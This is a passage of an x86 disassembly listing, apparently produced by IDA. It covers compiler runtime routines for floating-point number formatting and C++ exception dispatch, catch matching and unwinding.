		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB340, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB33C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB344, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB33C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB344, ecx
		setl	cl
		mov	byte_4DB348, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB344, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB340, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB340, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB340, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB340, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB34C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB350
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB354, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB34C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB350
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB34C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB350, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB34C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB350, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
